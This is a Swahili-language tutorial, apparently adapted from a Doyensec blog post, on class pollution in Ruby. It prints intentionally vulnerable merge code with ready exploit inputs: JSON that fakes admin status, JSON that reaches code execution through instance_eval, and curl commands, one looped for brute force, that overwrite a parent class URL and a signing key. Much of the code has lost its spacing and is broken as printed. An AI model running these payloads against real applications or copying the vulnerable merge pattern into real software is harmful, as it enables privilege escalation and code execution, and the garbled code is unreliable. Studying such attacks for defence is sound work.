# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_checkprotected_methods().each do|method|instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})# Perform a recursive merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorize# Execute health check (RCE vulnerability)# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Maelezo
Kuinua Privilege: Njia ya authorize inakagua kama to_s inarudisha "Admin." Kwa kuingiza sifa mpya ya to_s kupitia JSON, mshambuliaji anaweza kufanya njia ya to_s irudishe "Admin," ikitoa mamlaka zisizoidhinishwa.
Utendaji wa Msimbo wa Mbali: Katika health_check, instance_eval inatekeleza njia zilizoorodheshwa katika protected_methods. Ikiwa mshambuliaji ataingiza majina ya njia za kawaida (kama "puts 1"), instance_eval itatekeleza hiyo, ikisababisha utendaji wa msimbo wa mbali (RCE).
Hii inawezekana tu kwa sababu kuna maagizo ya eval yenye udhaifu yanayotekeleza thamani ya mfuatano wa sifa hiyo.
Kikomo cha Athari: Udhaifu huu unahusisha tu mifano binafsi, ukiacha mifano mingine ya User na Admin isiyoathirika, hivyo kupunguza wigo wa unyakuzi.
Mifano ya Uhalisia
deep_merge ya ActiveSupport
Hii si dhaifu kwa default lakini inaweza kufanywa kuwa dhaifu kwa kitu kama:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
Hashie’s deep_merge
Hashie’s deep_merge method inafanya kazi moja kwa moja kwenye sifa za kitu badala ya hash za kawaida. In zuia kubadilisha mbinu na sifa katika mchanganyiko na matukio fulani: sifa zinazomalizika na _, !, au ? bado zinaweza kuunganishwa kwenye kitu.
Kesi maalum ni sifa _ peke yake. Tu _ ni sifa ambayo kawaida inarudisha kitu cha Mash. Na kwa sababu ni sehemu ya matukio fulani, inawezekana kuibadilisha.
Angalia mfano ufuatao jinsi ya kupitisha {"_": "Admin"} mtu anaweza kupita _.to_s == "Admin":
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object)deep_merge!(other_object)selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new({name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}}})# Perform a deep merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Poison the Classes
Katika mfano ufuatao inawezekana kupata darasa Person, na madarasa Admin na Regular ambayo yanarithi kutoka darasa la Person. Pia ina darasa lingine linaloitwa KeySigner:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson@@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsenddefself.url@@urlend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner@@signing_key ="default-signing-key"defself.signing_key@@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON inputpost '/merge'docontent_type :jsonjson_input =JSON.parse(request.body.read)user =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})user.merge_with(json_input){ status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadgetget '/launch-curl-command'docontent_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url)url =Person.urlresponse =Net::HTTP.get_response(URI(url)){ status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse{ status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL:# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySignerget '/sign_with_subclass_key'docontent_type :json# This gadget signs data using the signing key stored in KeySigner classsigner =KeySigner.newsigned_data = signer.sign(KeySigner.signing_key,"data-to-sign"){ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful):# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infectedget '/check-infected-vars'docontent_type :json{user_url: Person.url,signing_key: KeySigner.signing_key}.to_jsonendrun! if app_file == $0end
Poison Parent Class
Na hii payload:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
Inawezekana kubadilisha thamani ya sifa ya @@url ya darasa la mzazi Person.
Kuchafua Darasa Nyingine
Kwa payload hii:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
Inawezekana kufanya brute-force kwa madarasa yaliyofafanuliwa na kwa wakati fulani kuharibu darasa KeySigner kwa kubadilisha thamani ya signing_key kuwa injected-signing-key.\